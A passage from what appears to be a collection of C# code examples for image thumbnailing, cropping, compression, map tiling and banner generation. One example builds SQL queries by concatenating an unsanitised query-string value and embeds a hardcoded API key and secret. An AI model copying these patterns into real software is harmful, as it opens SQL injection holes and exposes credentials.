                for (; lv > 0; lv--)
                {
                    var lt = WorldToGps(img.Extents.xMin, img.Extents.yMax, lv);
                    var rt = WorldToGps(img.Extents.xMax, img.Extents.yMax, lv);
                    var lb = WorldToGps(img.Extents.xMin, img.Extents.yMin, lv);

                    var w = getdist(lt, rt); var h = getdist(lt, lb);

                    if (w < 256)
                    {
                        break;
                    }

                    var lp = fp + "\\" + fpre + lv;
                    if (!Directory.Exists(lp))
                    {
                        Directory.CreateDirectory(lp);
                    }

                    var rw = w / (decimal)pic.Width;
                    var rh = h / (decimal)pic.Height;
                    var bw = (int)Math.Ceiling(256 / rw);
                    var bh = (int)Math.Ceiling(256 / rh);

                    var bmp = new Bitmap(256, 256);
                    var g   = Graphics.FromImage(bmp);

                    var pos = new Point()
                    {
                        X = (int)((lt.X - (int)lt.X) * 256) % 256, Y = (int)((lt.Y - (int)lt.Y) * 256) % 256
                    };
                    var ofset = new Point()
                    {
                        X = (int)(pos.X / rw), Y = (int)(pos.Y / rh)
                    };

                    var _w = (int)Math.Ceiling((float)pic.Width / bw) + 1;
                    var _h = (int)Math.Ceiling((float)pic.Height / bh) + 1;

                    var count = _w * _h;
                    var c     = 1;
                    for (var i = 0; i < _w; i++)
                    {
                        for (var j = 0; j < _h; j++)
                        {
                            g.Clear(ftype == "png" ? Color.Transparent : Color.White);
                            if (i == 0 && j == 0)
                            {
                                g.DrawImage(pic, new Rectangle(pos.X, pos.Y, bmp.Width, bmp.Height), new Rectangle(0, 0, bw, bh), GraphicsUnit.Pixel);
                            }
                            else if (i == 0)
                            {
                                g.DrawImage(pic, new Rectangle(pos.X, 0, bmp.Width, bmp.Height), new Rectangle(0, (j - 1) * bh + (bh - ofset.Y), bw, bh), GraphicsUnit.Pixel);
                            }
                            else if (j == 0)
                            {
                                g.DrawImage(pic, new Rectangle(0, pos.Y, bmp.Width, bmp.Height), new Rectangle((i - 1) * bw + (bw - ofset.X), 0, bw, bh), GraphicsUnit.Pixel);
                            }
                            else
                            {
                                g.DrawImage(pic, new Rectangle(0, 0, bmp.Width, bmp.Height), new Rectangle((i - 1) * bw + (bw - ofset.X), (j - 1) * bh + (bh - ofset.Y), bw, bh), GraphicsUnit.Pixel);
                            }

                            if (cb_setwm.Checked && pb_wmimg.Image != null)
                            {
                                g.DrawImage(pb_wmimg.Image, 0, 0);
                            }

                            var fn = fname.Replace("{x}", (int)(lt.X + i) + "").Replace("{y}", (int)(lt.Y + j) + "") + "." + ftype;
                            if (ftype == "jpg")
                            {
                                bmp.Save(lp + "\\" + fn, ImageCodecInfo.GetImageEncoders().FirstOrDefault(o => o.FormatID == ImageFormat.Jpeg.Guid), eps);
                            }
                            else
                            {
                                bmp.Save(lp + "\\" + fn, ImageFormat.Png);
                            }

                            showtip("正在输出第:" + lv + "层,切片:" + fn + "。" + c + "/" + count + "(" + (c++ / (float)count * 100).ToString("F2") + "%)");
                        }
                    }
                    g.Dispose();
                    bmp.Dispose();
                }
                pic.Dispose();
                eps.Dispose();
                Invoke((Action)(() =>
                {
                    bt_start.Enabled = true;
                }));
                showtip("切片完成!");
                //}

                var dir = fp.Substring(0, fp.LastIndexOf('\\'));
                if (demo)
                {
                    var html = Properties.Resources.demo;
                    html     = html.Replace("$name", t.Name).Replace("$lng", img.Extents.Center.x + "").Replace("$lat", img.Extents.Center.y + "").Replace("$ft", ftype).Replace("$lv", "15");
                    File.WriteAllText(dir + "\\demo.html", html);
                    Process.Start(dir + "\\demo.html");
                }
                else
                {
                    Process.Start(dir);
                }
            }).Start();
        }
示例#25
0
        //----------------------------------------------------------------------------
        public static void CreateThumb(string originalPath, string targetPath, int wantedWidth, int wantedHeight, long quality)
        {
            int    width  = wantedWidth;
            int    height = wantedHeight;
            bool   smallerOriginalSize = false;
            Bitmap originalImage       = (Bitmap)Bitmap.FromFile(originalPath);

            GetMaintainedRatio(originalImage, ref width, ref height, ref smallerOriginalSize);
            Graphics graph;
            int      x = 0; int y = 0;

            //--------------------------------------------------------------------
            //Justify vertical
            //--------------------------------------------------------------------
            if (false)
            {
                if (height < wantedHeight)
                {
                    y = (wantedHeight - height) / 2;
                    if (y < 0)
                    {
                        y = y * -1;
                    }
                    height += y;
                }
            }
            //--------------------------------------------------------------------


            Bitmap bitmap = new Bitmap(width, height);

            graph = Graphics.FromImage(bitmap);
            graph.InterpolationMode = InterpolationMode.HighQualityBicubic;
            // pre paint white to the background of transparent images
            graph.Clear(Color.White);
            // Set the brightness
            graph.DrawImage(originalImage, 0, y, width, height);
            // specify codec
            ImageCodecInfo codec = GetEncoderInfo("image/jpeg");
            // set image quality
            EncoderParameters eps = new EncoderParameters(1);

            eps          = new EncoderParameters();
            eps.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, quality);
            //if (width > wantedWidth || height > wantedHeight)
            //System.IO.MemoryStream imageStream = new System.IO.MemoryStream();
            if (true)
            {
                x = 0;
                y = 0;
                if (width > wantedWidth)
                {
                    x = (width - wantedWidth) / 2;
                }
                if (height > wantedHeight)
                {
                    y = (height - wantedHeight) / 2;
                }

                Rectangle cropRect = new Rectangle(0, 0, wantedWidth, wantedHeight);
                Bitmap    target   = new Bitmap(cropRect.Width, cropRect.Height);
                using (Graphics g = Graphics.FromImage(target))
                {
                    g.Clear(Color.White);
                    g.DrawImage(bitmap, new Rectangle(0, 0, target.Width, target.Height),
                                cropRect,
                                GraphicsUnit.Pixel);
                    //
                    target.Save(targetPath, codec, eps);
                    //
                    target.Dispose();
                    g.Dispose();
                }
            }
            else
            {
                bitmap.Save(targetPath, codec, eps);
            }
            //
            bitmap.Dispose();
            graph.Dispose();
            eps.Dispose();
            originalImage.Dispose();
            //-----------------------------------------------------
            // make byte array the same size as the image

            /*byte[] imageContent = new Byte[imageStream.Length];
             *
             * // rewind the memory stream
             * imageStream.Position = 0;
             *
             * // load the byte array with the image
             * imageStream.Read(imageContent, 0, (int)imageStream.Length);
             *
             * File.WriteAllBytes(targetPath, imageContent);*/
        }
示例#26
0
        /// <summary>
        /// 正方型裁剪
        /// 以图片中心为轴心,截取正方型,然后等比缩放
        /// 用于头像处理
        /// </summary>
        /// <remarks>于挺 2013年8月18日 22:28:51 修改</remarks>
        /// <param name="fromFile">原图Stream对象</param>
        /// <param name="fileSaveUrl">缩略图存放地址</param>
        /// <param name="side">指定的边长(正方型)</param>
        /// <param name="quality">质量(范围0-100)</param>
        /// <return></return>
        public static void CutForSquare(Stream fromFile, string fileSaveUrl, int side, int quality)
        {
            //创建目录
            string dir = Path.GetDirectoryName(fileSaveUrl);

            if (!Directory.Exists(dir))
            {
                Directory.CreateDirectory(dir);
            }

            //原始图片(获取原始图片创建对象,并使用流中嵌入的颜色管理信息)
            System.Drawing.Image initImage = Image.FromStream(fromFile, true);

            //原图宽高均小于模版,不作处理,直接保存
            if (initImage.Width <= side && initImage.Height <= side)
            {
                initImage.Save(fileSaveUrl, ImageFormat.Jpeg);
            }
            else
            {
                //原始图片的宽、高
                int initWidth  = initImage.Width;
                int initHeight = initImage.Height;

                //非正方型先裁剪为正方型
                if (initWidth != initHeight)
                {
                    //截图对象
                    Image    pickedImage = null;
                    Graphics pickedG     = null;

                    //宽大于高的横图
                    if (initWidth > initHeight)
                    {
                        //对象实例化
                        pickedImage = new Bitmap(initHeight, initHeight);
                        pickedG     = Graphics.FromImage(pickedImage);
                        //设置质量
                        pickedG.InterpolationMode = InterpolationMode.HighQualityBicubic;
                        pickedG.SmoothingMode     = SmoothingMode.HighQuality;
                        //定位
                        Rectangle fromR = new Rectangle((initWidth - initHeight) / 2, 0, initHeight, initHeight);
                        Rectangle toR   = new Rectangle(0, 0, initHeight, initHeight);
                        //画图
                        pickedG.DrawImage(initImage, toR, fromR, GraphicsUnit.Pixel);
                        //重置宽
                        initWidth = initHeight;
                    }
                    //高大于宽的竖图
                    else
                    {
                        //对象实例化
                        pickedImage = new Bitmap(initWidth, initWidth);
                        pickedG     = Graphics.FromImage(pickedImage);
                        //设置质量
                        pickedG.InterpolationMode = InterpolationMode.HighQualityBicubic;
                        pickedG.SmoothingMode     = SmoothingMode.HighQuality;
                        //定位
                        Rectangle fromR = new Rectangle(0, (initHeight - initWidth) / 2, initWidth, initWidth);
                        Rectangle toR   = new Rectangle(0, 0, initWidth, initWidth);
                        //画图
                        pickedG.DrawImage(initImage, toR, fromR, GraphicsUnit.Pixel);
                        //重置高
                        initHeight = initWidth;
                    }

                    //将截图对象赋给原图
                    initImage = (Image)pickedImage.Clone();
                    //释放截图资源
                    pickedG.Dispose();
                    pickedImage.Dispose();
                }

                //缩略图对象
                Image    resultImage = new Bitmap(side, side);
                Graphics resultG     = Graphics.FromImage(resultImage);
                //设置质量
                resultG.InterpolationMode = InterpolationMode.HighQualityBicubic;
                resultG.SmoothingMode     = SmoothingMode.HighQuality;
                //用指定背景色清空画布
                resultG.Clear(Color.White);
                //绘制缩略图
                resultG.DrawImage(initImage, new Rectangle(0, 0, side, side), new Rectangle(0, 0, initWidth, initHeight), GraphicsUnit.Pixel);

                //关键质量控制
                //获取系统编码类型数组,包含了jpeg,bmp,png,gif,tiff
                ImageCodecInfo[] icis = ImageCodecInfo.GetImageEncoders();
                ImageCodecInfo   ici  = null;
                foreach (ImageCodecInfo i in icis)
                {
                    if (i.MimeType == "image/jpeg" || i.MimeType == "image/bmp" || i.MimeType == "image/png" || i.MimeType == "image/gif")
                    {
                        ici = i;
                    }
                }
                EncoderParameters ep = new EncoderParameters(1);
                ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)quality);

                //保存缩略图
                resultImage.Save(fileSaveUrl, ici, ep);

                //释放关键质量控制所用资源
                ep.Dispose();

                //释放缩略图资源
                resultG.Dispose();
                resultImage.Dispose();

                //释放原始图片资源
                initImage.Dispose();
            }
        }
示例#27
0
    protected void Page_Load(object sender, EventArgs e)
    {
        TopXmlRestClient client = new TopXmlRestClient("http://gw.api.taobao.com/router/rest", "12132145", "1fdd2aadd5e2ac2909db2967cbb71e7f");

        id = utils.NewRequest("id", utils.RequestType.QueryString);
        string title      = string.Empty;
        string width      = string.Empty;
        string height     = string.Empty;
        string num        = string.Empty;
        string taobaoNick = string.Empty;

        //获取广告标题
        string sql = string.Empty;

        //图片缓存判断
        if (1 == 1)
        {
            sql = "SELECT name,size,nick FROM TopIdea WHERE id = " + id;
            DataTable dt = utils.ExecuteDataTable(sql);
            if (dt.Rows.Count != 0)
            {
                taobaoNick = dt.Rows[0]["nick"].ToString();

                //创建图片临时文件架
                folderPath = Server.MapPath("folder/" + MD5(dt.Rows[0]["nick"].ToString()));
                if (!Directory.Exists(folderPath))
                {
                    Directory.CreateDirectory(folderPath);
                }

                //判断生成好的图片是否过期
                string resultPath = folderPath + "/result_" + id + ".jpg";
                if (File.Exists(resultPath) && id != "3972")
                {
                    //判断过期时间为1小时
                    System.TimeSpan ts = DateTime.Now - File.GetLastWriteTime(resultPath);
                    if (ts.Seconds < 3600)
                    {
                        RecordAndShow(folderPath);
                        return;
                    }
                }

                title = dt.Rows[0]["name"].ToString();
                size  = dt.Rows[0]["size"].ToString();

                string[] arr = size.Split('*');

                width  = arr[0];
                height = arr[1];

                switch (size)
                {
                case "514*160":
                    num = "5";
                    break;

                case "514*288":
                    num = "10";
                    break;

                case "664*160":
                    num = "6";
                    break;

                case "312*288":
                    num = "6";
                    break;

                case "336*280":
                    num = "4";
                    break;

                case "714*160":
                    num = "7";
                    break;

                case "114*418":
                    num = "3";
                    break;

                case "218*286":
                    num = "4";
                    break;

                case "743*308":
                    num = "4";
                    break;

                default:
                    num = "4";
                    break;
                }
            }
            else
            {
                return;
            }

            //获取数据库中保存的商品
            sql = "SELECT TOP " + num + " * FROM TopIdeaProduct WHERE ideaid = " + id + "";
            dt  = utils.ExecuteDataTable(sql);

            //生成图片
            string proPath = string.Empty;
            System.Drawing.Image pro1;
            System.Drawing.Image pro2;

            //背景图片
            string bgPath = Server.MapPath("images/bg1.jpg");
            System.Drawing.Image CurrentBitmap = System.Drawing.Image.FromFile(bgPath);

            switch (size)
            {
            //风格1
            case "514*160":
                bgPath        = Server.MapPath("images/bg1.jpg");
                CurrentBitmap = System.Drawing.Image.FromFile(bgPath);
                break;

            //风格2
            case "514*288":
                bgPath        = Server.MapPath("images/bg2.jpg");
                CurrentBitmap = System.Drawing.Image.FromFile(bgPath);
                break;

            //风格3
            case "312*288":
                bgPath        = Server.MapPath("images/bg3.jpg");
                CurrentBitmap = System.Drawing.Image.FromFile(bgPath);
                break;

            //风格4
            case "714*160":
                bgPath        = Server.MapPath("images/bg4.jpg");
                CurrentBitmap = System.Drawing.Image.FromFile(bgPath);
                break;

            //风格5
            case "114*418":
                bgPath        = Server.MapPath("images/bg5.jpg");
                CurrentBitmap = System.Drawing.Image.FromFile(bgPath);
                break;

            //风格6
            case "664*160":
                bgPath        = Server.MapPath("images/bg6.jpg");
                CurrentBitmap = System.Drawing.Image.FromFile(bgPath);
                break;

            //风格7
            case "218*286":
                bgPath        = Server.MapPath("images/bg7.jpg");
                CurrentBitmap = System.Drawing.Image.FromFile(bgPath);
                break;

            //风格8
            case "743*308":
                bgPath        = Server.MapPath("images/bg8.jpg");
                CurrentBitmap = System.Drawing.Image.FromFile(bgPath);
                break;
            }

            string    nickid = string.Empty;
            string    sqlNew = "SELECT sellerUin FROM TopPaipaiShop WHERE sellerUin = '" + taobaoNick + "'";
            DataTable dtNew  = utils.ExecuteDataTable(sqlNew);
            if (dtNew.Rows.Count != 0)
            {
                nickid = "http://shop.paipai.com/" + dtNew.Rows[0][0].ToString();
            }
            else
            {
                nickid = "http://www.paipai.com/";
            }

            using (Graphics graphics = Graphics.FromImage(CurrentBitmap))
            {
                graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
                graphics.SmoothingMode     = SmoothingMode.HighQuality;
                //文字
                Font font = new Font("宋体", 12);
                if (size == "514*160" || size == "514*288" || size == "714*160" || size == "664*160")
                {
                    graphics.DrawString(title + " " + nickid + "", font, new SolidBrush(Color.Black), 16, 6);
                }
                else if (size == "743*308")
                {
                    font = new Font("宋体", 13, FontStyle.Bold);
                    graphics.DrawString(title, font, new SolidBrush(Color.White), 38, 10);
                }
                else
                {
                    graphics.DrawString(title, font, new SolidBrush(Color.Black), 16, 6);
                }

                switch (size)
                {
                //风格1
                case "514*160":
                    for (int i = 0; i < dt.Rows.Count; i++)
                    {
                        saveimage(dt.Rows[i]["itempicurl"].ToString() + ".2.jpg", folderPath);
                        proPath = folderPath + "/proTmp.jpg";
                        pro1    = System.Drawing.Image.FromFile(proPath);
                        graphics.DrawImage(pro1, 17 + i * 100, 29, 80, 80);
                        graphics.DrawString(left(dt.Rows[i]["itemname"].ToString(), 8), font, new SolidBrush(ColorTranslator.FromHtml("#0394EF")), 14 + i * 100, 112);
                        graphics.DrawString(left(dt.Rows[i]["itemname"].ToString(), 8, 16), font, new SolidBrush(ColorTranslator.FromHtml("#0394EF")), 14 + i * 100, 126);
                        pro1.Dispose();
                    }
                    break;

                //风格2
                case "514*288":
                    for (int i = 0; i < dt.Rows.Count; i++)
                    {
                        saveimage(dt.Rows[i]["itempicurl"].ToString() + ".2.jpg", folderPath);
                        proPath = folderPath + "/proTmp.jpg";
                        pro1    = System.Drawing.Image.FromFile(proPath);
                        graphics.DrawImage(pro1, 17 + (i % 5) * 100, 29 + (i / 5 * 130), 80, 80);
                        graphics.DrawString(left(dt.Rows[i]["itemname"].ToString(), 8), font, new SolidBrush(ColorTranslator.FromHtml("#0394EF")), 14 + (i % 5) * 100, 112 + (i / 5 * 130));
                        graphics.DrawString(left(dt.Rows[i]["itemname"].ToString(), 8, 16), font, new SolidBrush(ColorTranslator.FromHtml("#0394EF")), 14 + (i % 5) * 100, 126 + (i / 5 * 130));
                        pro1.Dispose();
                    }
                    break;

                //风格3
                case "312*288":
                    for (int i = 0; i < dt.Rows.Count; i++)
                    {
                        saveimage(dt.Rows[i]["itempicurl"].ToString() + ".2.jpg", folderPath);
                        proPath = folderPath + "/proTmp.jpg";
                        pro1    = System.Drawing.Image.FromFile(proPath);
                        graphics.DrawImage(pro1, 17 + (i % 3) * 100, 29 + (i / 3 * 130), 80, 80);
                        graphics.DrawString(left(dt.Rows[i]["itemname"].ToString(), 8), font, new SolidBrush(ColorTranslator.FromHtml("#0394EF")), 14 + (i % 3) * 100, 112 + (i / 3 * 130));
                        graphics.DrawString(left(dt.Rows[i]["itemname"].ToString(), 8, 16), font, new SolidBrush(ColorTranslator.FromHtml("#0394EF")), 14 + (i % 3) * 100, 126 + (i / 3 * 130));
                        pro1.Dispose();
                    }
                    break;

                //风格4
                case "714*160":
                    for (int i = 0; i < dt.Rows.Count; i++)
                    {
                        saveimage(dt.Rows[i]["itempicurl"].ToString() + ".2.jpg", folderPath);
                        proPath = folderPath + "/proTmp.jpg";
                        pro1    = System.Drawing.Image.FromFile(proPath);
                        graphics.DrawImage(pro1, 17 + i * 100, 29, 80, 80);
                        graphics.DrawString(left(dt.Rows[i]["itemname"].ToString(), 8), font, new SolidBrush(ColorTranslator.FromHtml("#0394EF")), 14 + i * 100, 112);
                        graphics.DrawString(left(dt.Rows[i]["itemname"].ToString(), 8, 16), font, new SolidBrush(ColorTranslator.FromHtml("#0394EF")), 14 + i * 100, 126);
                        pro1.Dispose();
                    }
                    break;

                //风格5
                case "114*418":
                    for (int i = 0; i < dt.Rows.Count; i++)
                    {
                        saveimage(dt.Rows[i]["itempicurl"].ToString() + ".2.jpg", folderPath);
                        proPath = folderPath + "/proTmp.jpg";
                        pro1    = System.Drawing.Image.FromFile(proPath);
                        graphics.DrawImage(pro1, 17, 29 + i * 130, 80, 80);
                        graphics.DrawString(left(dt.Rows[i]["itemname"].ToString(), 8), font, new SolidBrush(ColorTranslator.FromHtml("#0394EF")), 14, 112 + i * 130);
                        graphics.DrawString(left(dt.Rows[i]["itemname"].ToString(), 8, 16), font, new SolidBrush(ColorTranslator.FromHtml("#0394EF")), 14, 126 + i * 130);
                        pro1.Dispose();
                    }
                    break;

                //风格6
                case "664*160":
                    for (int i = 0; i < dt.Rows.Count; i++)
                    {
                        saveimage(dt.Rows[i]["itempicurl"].ToString() + ".2.jpg", folderPath);
                        proPath = folderPath + "/proTmp.jpg";
                        pro1    = System.Drawing.Image.FromFile(proPath);
                        graphics.DrawImage(pro1, 17 + i * 100, 29, 80, 80);
                        graphics.DrawString(left(dt.Rows[i]["itemname"].ToString(), 8), font, new SolidBrush(ColorTranslator.FromHtml("#0394EF")), 14 + i * 100, 112);
                        graphics.DrawString(left(dt.Rows[i]["itemname"].ToString(), 8, 16), font, new SolidBrush(ColorTranslator.FromHtml("#0394EF")), 14 + i * 100, 126);
                        pro1.Dispose();
                    }
                    break;

                //风格7
                case "218*286":
                    for (int i = 0; i < dt.Rows.Count; i++)
                    {
                        saveimage(dt.Rows[i]["itempicurl"].ToString() + ".2.jpg", folderPath);
                        proPath = folderPath + "/proTmp.jpg";
                        pro1    = System.Drawing.Image.FromFile(proPath);
                        graphics.DrawImage(pro1, 17 + (i % 2) * 100, 29 + (i / 2 * 130), 80, 80);
                        graphics.DrawString(left(dt.Rows[i]["itemname"].ToString(), 8), font, new SolidBrush(ColorTranslator.FromHtml("#0394EF")), 14 + (i % 2) * 100, 112 + (i / 2 * 130));
                        graphics.DrawString(left(dt.Rows[i]["itemname"].ToString(), 8, 16), font, new SolidBrush(ColorTranslator.FromHtml("#0394EF")), 14 + (i % 2) * 100, 126 + (i / 2 * 130));
                        pro1.Dispose();
                    }
                    break;

                //风格7
                case "743*308":
                    for (int i = 0; i < dt.Rows.Count; i++)
                    {
                        saveimage(dt.Rows[i]["itempicurl"].ToString() + ".3.jpg", folderPath);
                        proPath = folderPath + "/proTmp.jpg";

                        Pen pen = new Pen(new SolidBrush(ColorTranslator.FromHtml("#cccccc")), 1);
                        pen.DashStyle = DashStyle.Solid;
                        Point p0 = new Point(15 + i * 180, 45);
                        Point p1 = new Point(15 + i * 180 + 161, 45 + 161);
                        graphics.DrawRectangle(pen, new Rectangle(p0.X, p0.Y, Math.Abs(p0.X - p1.X), Math.Abs(p0.Y - p1.Y)));
                        //商品
                        pro1 = System.Drawing.Image.FromFile(proPath);
                        graphics.DrawImage(pro1, 16 + i * 180, 46, 160, 160);
                        //购买按钮
                        pro2 = System.Drawing.Image.FromFile(Server.MapPath("/top/show1/buy1.png"));
                        graphics.DrawImage(pro2, 44 + i * 180, 246, 108, 28);
                        //文字
                        font = new Font("宋体", 12);
                        graphics.DrawString(left(dt.Rows[i]["itemname"].ToString(), 0, 12), font, new SolidBrush(ColorTranslator.FromHtml("#3f3f3f")), 22 + i * 180, 212);
                        //价格
                        //product.Price = (decimal.Parse(match[j].Groups[2].ToString()) / 100).ToString();
                        font = new Font("Arial", 12, FontStyle.Bold);
                        graphics.DrawString("¥" + (decimal.Parse(dt.Rows[i]["itemprice"].ToString()) / 100).ToString() + "元", font, new SolidBrush(ColorTranslator.FromHtml("#fe596a")), 66 + i * 180, 228);
                        pro1.Dispose();
                        pro2.Dispose();
                    }
                    //增加店铺链接
                    font = new Font("Arial", 13, FontStyle.Bold);
                    graphics.DrawString("更多详情请见 " + nickid, font, new SolidBrush(ColorTranslator.FromHtml("#ff6600")), 435, 284);
                    break;
                }
            }

            ImageCodecInfo ici;
            System.Drawing.Imaging.Encoder enc;
            EncoderParameter  ep;
            EncoderParameters epa;

            //   Initialize   the   necessary   objects
            ici = GetEncoderInfo("image/png");
            enc = System.Drawing.Imaging.Encoder.Quality;//设置保存质量
            epa = new EncoderParameters(1);
            //   Set   the   compression   level
            ep           = new EncoderParameter(enc, 100L);//质量等级为25%
            epa.Param[0] = ep;


            CurrentBitmap.Save(folderPath + "/result_" + id + ".jpg", ici, epa);

            epa.Dispose();
            ep.Dispose();
        }

        RecordAndShow(folderPath);
    }
示例#28
0
        private bool MakeThumbnail(string sourcePath, string targetPath, ImageCodecInfo codecInfo, int width, int height, string mode, int flag)
        {
            Image             sourceImage = null;
            Image             bitmap      = null;
            Graphics          g           = null;
            EncoderParameters ep          = null;
            EncoderParameter  eParam      = null;

            try {
                sourceImage = Image.FromFile(sourcePath);
                bool land = sourceImage.Width >= sourceImage.Height;

                int toWidth  = 0;
                int toHeight = 0;

                if (width > 0)
                {
                    toWidth = width;
                }
                else
                {
                    toWidth = sourceImage.Width;
                }

                if (height > 0)
                {
                    toHeight = height;
                }
                else
                {
                    toHeight = sourceImage.Height;
                }


                int x  = 0;
                int y  = 0;
                int ow = sourceImage.Width;
                int oh = sourceImage.Height;

                if (width > 0 && height > 0 && !string.IsNullOrWhiteSpace(mode))
                {
                    switch (mode.ToUpper())
                    {
                    case "HW":    //指定高宽缩放(不变形)
                        int tempheight = sourceImage.Height * width / sourceImage.Width;
                        if (tempheight > height)
                        {
                            toWidth = sourceImage.Width * height / sourceImage.Height;
                        }
                        else
                        {
                            toHeight = sourceImage.Height * width / sourceImage.Width;
                        }
                        break;

                    case "W":    //指定宽,高按比例
                        toHeight = sourceImage.Height * width / sourceImage.Width;
                        break;

                    case "H":    //指定高,宽按比例
                        toWidth = sourceImage.Width * height / sourceImage.Height;
                        break;

                    case "F":    //指定高,宽按比例
                        if (land)
                        {
                            if (width > sourceImage.Width)
                            {
                                return(false);
                            }
                            toWidth  = width;
                            toHeight = sourceImage.Height * width / sourceImage.Width;
                        }
                        else
                        {
                            if (width > sourceImage.Height)
                            {
                                return(false);
                            }
                            toHeight = width;
                            toWidth  = sourceImage.Width * width / sourceImage.Height;
                        }
                        break;
                    }
                }

                //新建一个bmp图片
                bitmap = new Bitmap(toWidth, toHeight);

                //新建一个画板
                g = Graphics.FromImage(bitmap);

                g.CompositingQuality = CompositingQuality.HighQuality;

                //设置高质量插值法
                g.InterpolationMode = InterpolationMode.HighQualityBicubic;

                //设置高质量,低速度呈现平滑程度
                g.SmoothingMode = SmoothingMode.HighQuality;

                //清空画布并以透明背景色填充
                g.Clear(Color.Transparent);

                //在指定位置并且按指定大小绘制原图片的指定部分
                g.DrawImage(sourceImage, new Rectangle(0, 0, toWidth, toHeight),
                            new Rectangle(x, y, ow, oh),
                            GraphicsUnit.Pixel);

                //以下代码为保存图片时,设置压缩质量
                ep          = new EncoderParameters();
                eParam      = new EncoderParameter(Encoder.Quality, flag);
                ep.Param[0] = eParam;
                bitmap.Save(targetPath, codecInfo, ep);
                return(true);
            }
            catch {
                return(false);
            }
            finally {
                if (sourceImage != null)
                {
                    sourceImage.Dispose();
                }
                if (bitmap != null)
                {
                    bitmap.Dispose();
                }
                if (g != null)
                {
                    g.Dispose();
                }
                if (ep != null)
                {
                    ep.Dispose();
                }
                if (eParam != null)
                {
                    eParam.Dispose();
                }
            }
        }
示例#29
0
        /// <summary>
        ///  无损压缩图片
        /// </summary>
        /// <param name="sFile">原图片路径</param>
        /// <param name="dFile">压缩后保存位置</param>
        /// <param name="height">高度</param>
        /// <param name="width">宽度</param>
        /// <param name="flag">压缩质量 1-100</param>
        /// <param name="type">压缩缩放类型</param>
        /// <param name="deal">当新路径和原始路径相同时是否删除原始图片,默认删除,不删除则新文件名称加1</param>
        /// <returns></returns>
        public static bool CompressImage(string sFile, string dFile, int height, int width, int flag, ImageCompressType type, bool deal = true)
        {
            string newFile = dFile;

            if (sFile.Equals(dFile))
            {
                //新路径和原始路径相同时处理
                dFile = dFile.Split('.')[0] + "1" + dFile.Split('.')[1];
            }
            Image       iSource = Image.FromFile(sFile);
            ImageFormat tFormat = iSource.RawFormat;

            //****缩放后的宽度和高度
            int towidth  = width;
            int toheight = height;

            int x = 0; int y = 0;
            int ow = iSource.Width; int oh = iSource.Height;

            #region 判断类别
            switch (type)
            {
            case ImageCompressType.N:    //***原始高宽
            {
                towidth  = ow;
                toheight = oh;
            }
            break;

            case ImageCompressType.Wh:    //指定高宽缩放(可能变形)
            {
            }
            break;

            case ImageCompressType.W:    //指定宽,高按比例
            {
                toheight = iSource.Height * width / iSource.Width;
            }
            break;

            case ImageCompressType.H:    //指定高,宽按比例
            {
                towidth = iSource.Width * height / iSource.Height;
            }
            break;

            case ImageCompressType.Cut:    //指定高宽裁减(不变形)
            {
                if (iSource.Width / (double)iSource.Height > towidth / (double)toheight)
                {
                    ow = iSource.Height * towidth / toheight;
                    y  = 0;
                    x  = (iSource.Width - ow) / 2;
                }
                else
                {
                    oh = iSource.Width * height / towidth;
                    x  = 0;
                    y  = (iSource.Height - oh) / 2;
                }
            }
            break;
            }
            #endregion
            var      ob = new Bitmap(towidth, toheight);
            Graphics g  = Graphics.FromImage(ob);
            g.Clear(Color.WhiteSmoke);
            g.CompositingQuality = CompositingQuality.HighQuality;
            g.SmoothingMode      = SmoothingMode.HighQuality;
            g.InterpolationMode  = InterpolationMode.HighQualityBicubic;
            g.DrawImage(iSource, new Rectangle(x, y, towidth, toheight),
                        new Rectangle(0, 0, iSource.Width, iSource.Height),
                        GraphicsUnit.Pixel);
            g.Dispose();
            //以下代码为保存图片时,设置压缩质量
            var ep = new EncoderParameters();
            var qy = new long[1];
            qy[0] = flag;//设置压缩的比例1-100
            var eParam = new EncoderParameter(Encoder.Quality, qy);
            ep.Param[0] = eParam;
            try
            {
                ImageCodecInfo[] arrayIci    = ImageCodecInfo.GetImageEncoders();
                ImageCodecInfo   jpegIcIinfo = arrayIci.FirstOrDefault(t => t.FormatDescription.Equals("JPEG"));
                //如若路径相同是否删除原始文件
                if (sFile.Equals(dFile) && deal && File.Exists(sFile))
                {
                    File.Delete(sFile);
                }
                if (jpegIcIinfo != null)
                {
                    ob.Save(dFile, jpegIcIinfo, ep);//dFile是压缩后的新路径
                }
                else
                {
                    ob.Save(dFile, tFormat);
                }
                return(true);
            }
            catch
            {
                return(false);
            }
            finally
            {
                eParam.Dispose();
                ep.Dispose();
                iSource.Dispose();
                ob.Dispose();
                if (sFile.Equals(newFile) && deal)
                {
                    //删除原始文件
                    if (File.Exists(sFile))
                    {
                        File.Delete(sFile);
                    }
                    //更新新文件名称
                    if (File.Exists(dFile))
                    {
                        File.Move(dFile, newFile);
                    }
                }
            }
        }
示例#30
0
        /// <summary>
        /// Creates the image thumbnail.
        /// </summary>
        /// <param name="stream">The stream.</param>
        /// <param name="contentType">Type of the content.</param>
        /// <param name="height">The height.</param>
        /// <param name="width">The width.</param>
        /// <param name="stretch">if set to <c>true</c> [stretch].</param>
        /// <returns></returns>
        public static byte[] CreateImageThumbnail(Stream stream, string contentType, int height, int width, bool stretch)
        {
            stream.Position = 0;

            Bitmap image = (Bitmap)Bitmap.FromStream(stream, true);

            //Bitmap image = new Bitmap(data);
            int   widthTh, heightTh; float widthOrig, heightOrig;
            float fx, fy, f;

            if (!stretch)
            {
                // retain aspect ratio
                widthOrig  = image.Width;
                heightOrig = image.Height;
                fx         = widthOrig / width;
                fy         = heightOrig / height; // subsample factors

                // must fit in thumbnail size
                f = Math.Max(fx, fy); if (f < 1)
                {
                    f = 1;
                }
                widthTh = (int)(widthOrig / f); heightTh = (int)(heightOrig / f);
            }
            else
            {
                widthTh = width; heightTh = height;
            }

            // We got here, so we do want to scale it.
            Graphics graph;
            Bitmap   bitmap = new Bitmap(widthTh, heightTh);

            graph = Graphics.FromImage(bitmap);
            graph.InterpolationMode = InterpolationMode.HighQualityBicubic;

            // pre paint white to the background of transparent images
            graph.Clear(Color.White);
            graph.DrawImage(image, 0, 0, widthTh, heightTh);

            if (contentType.Contains("pjpeg"))
            {
                contentType = "image/jpeg";
            }

            ImageCodecInfo codec = GetEncoderInfo(contentType);

            if (codec == null)
            {
                codec = FindEncoder(CatalogConfiguration.Instance.EncodingSettings.DefaultFormat);
            }

            // set image quality
            EncoderParameters eps = new EncoderParameters(1);

            eps          = new EncoderParameters();
